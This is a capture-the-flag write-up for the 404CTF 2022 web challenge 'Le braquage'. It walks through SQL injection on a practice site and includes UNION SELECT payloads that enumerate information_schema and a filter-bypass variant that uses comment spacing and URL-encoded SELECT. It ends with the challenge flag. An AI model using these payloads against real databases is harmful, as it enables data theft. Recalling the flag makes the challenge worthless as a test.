> For the complete documentation index, see [llms.txt](https://writeups.ayweth20.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.ayweth20.com/2022/404ctf/web/le-braquage.md).

# Le braquage

**Category:** Web - **Points:** 874 - **Difficulty :** Facile - **Solves :** 376

**Description:**\
**UTILISER SQLMAP SUR CE CHALLENGE-CI OU TOUT AUTRE CHALLENGE CONDUIRA A UN BAN**\
Vous êtes sur une affaire de cambriolage. D’après vos informations, un criminel surnommé **TITI** a prévu une rencontre avec ses complices pour préparer son prochain casse.\
Heureusement, votre équipe est parvenu à trouver un site qu’ils utilisent. Ce site leur permet de communiquer et d’échanger des lieux de rendez-vous ainsi que des fausses identités. A vous d’exploiter cette base de données pour obtenir des informations sur le suspect et son opération : nom, prénom, adresse visée, date du casse, heure du casse, téléphone, mot de passe.\
Les différents morceaux de flag sont sous la forme :\
`404CTF{Nom},404CTF{Prénom},404CTF{Adresse},404CTF{Date},404CTF{Heure},404CTF{Téléphone},404CTF{Mdp}`

> Le flag final est la concaténation de tous les morceaux sans espace : `404CTF{NomPrénomTéléphoneAdresseDateHeureMdp`

[https://le-braquage.404ctf.fr](https://le-braquage.404ctf.fr/)

**Solution:**\
To solve this challenge you need to send SQL injection at the good places.\
On the website, there are 3 pages :\
![mainPage](https://user-images.githubusercontent.com/91023285/173236857-8c7ae894-6b4c-4d49-95db-4df7f324a5fc.png)

On the first page (Discussions) there are 2 inputs :\
![discussion1](https://user-images.githubusercontent.com/91023285/173236919-9e5d24ad-7113-4eef-b9a5-6d719a419108.png)

On the second page (Informations) there is 1 input :\
![information1](https://user-images.githubusercontent.com/91023285/173236950-9bd123c0-70fb-4b49-b9e2-0351f50e845d.png)

And on the third page (Rencontres) there is 1 input :\
![rencontre1](https://user-images.githubusercontent.com/91023285/173236975-da2c2876-8aa8-41a2-bcde-7c2aceec8d39.png)

At first, we try to send `'='` in all inputs to try to get infos :\
![discussion1\_flag](https://user-images.githubusercontent.com/91023285/173237113-dd64fb24-2b15-4105-8a95-17841f5be5ed.png)\
![rencontre1\_flag1](https://user-images.githubusercontent.com/91023285/173237134-d2d40630-4499-4351-b691-5f2f4cb60ff4.png)

We get 4 parts of the final flag.

Now we try to find the 3 last parts in the 2nd and 3rd page.\
We can start with the 2nd page :\
`TITI ' UNION SELECT null, table_name FROM information_schema.tables #` and get all tables name\
![information1\_1](https://user-images.githubusercontent.com/91023285/173237773-ced32810-affa-45a0-9289-a0f5c356755c.png)

`TITI ' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name = "Users" #` and we get all columns of the *Users* table\
![information1\_2](https://user-images.githubusercontent.com/91023285/173237805-b0165766-2550-47c7-bf81-6ae8b6357855.png)

`TITI ' UNION SELECT nom, prenom FROM Users #` and we get the content of the *Users* table\
![information1\_flag](https://user-images.githubusercontent.com/91023285/173237832-f918f92b-159f-49ce-83b3-cb47e59c1769.png)

Now we have 6 parts of the final flag and we need to search the injection for the 3rd page :\
`' UNION SELECT null, null, table_name FROM information_schema.tables ;#` and we get an error because we can't insert space into our injection :\
![rencontre1\_erreur1](https://user-images.githubusercontent.com/91023285/173237933-bc15d382-db3a-47d1-aff0-9dc1ea686f33.png)

So to bypass the space we replace them by `/**/` : `'/**/UNION/**/SELECT/**/null,/**/null,/**/table_name/**/FROM/**/information_schema.tables/**/;#`.\
But now we get an error because we can't insert `SELECT` (in clear) into our injection :\
![rencontre1\_erreur2](https://user-images.githubusercontent.com/91023285/173238025-fdce185f-6684-4c28-91c9-8b019d96a6f7.png)

So to bypass `SELECT` we replace them by `%53%45%4c%45%43%54` who is the ASCII conversion of the word.

Now with these all bypasses we can start to find the flag :\
`'/**/UNION/**/%53%45%4c%45%43%54/**/null,/**/null,/**/table_name/**/FROM/**/information_schema.tables/**/;#` and get all tables name\
![rencontre1\_1](https://user-images.githubusercontent.com/91023285/173238087-1a93dce8-9d5f-4caa-bdd8-9289cafea1fe.png)

`'/**/UNION/**/%53%45%4c%45%43%54/**/null,/**/null,/**/column_name/**/FROM/**/information_schema.columns/**/WHERE/**/table_name/**/=/**/"Password";#` and we get all columns of the *Password* table\
![rencontre1\_2](https://user-images.githubusercontent.com/91023285/173238172-b6e6d923-f522-4f78-99b7-143d179973dc.png)

`'/**/UNION/**/%53%45%4c%45%43%54/**/null,/**/id,/**/mdp/**/FROM/**/Password;#` and we get the content of the *Password* table\
![rencontre1\_flag2](https://user-images.githubusercontent.com/91023285/173238288-14eed38e-2107-49b4-88aa-5874fc911ca2.png)

We have all parts of the flag and we can assemble them to get the final flag.

<details>

<summary>🚩 FLAG</summary>

```
 404CTF{VereuxUnGorfou014576945621ruedeskiwis2022-07-1401hDuMatinGorfousAuPouvoir}
```

</details>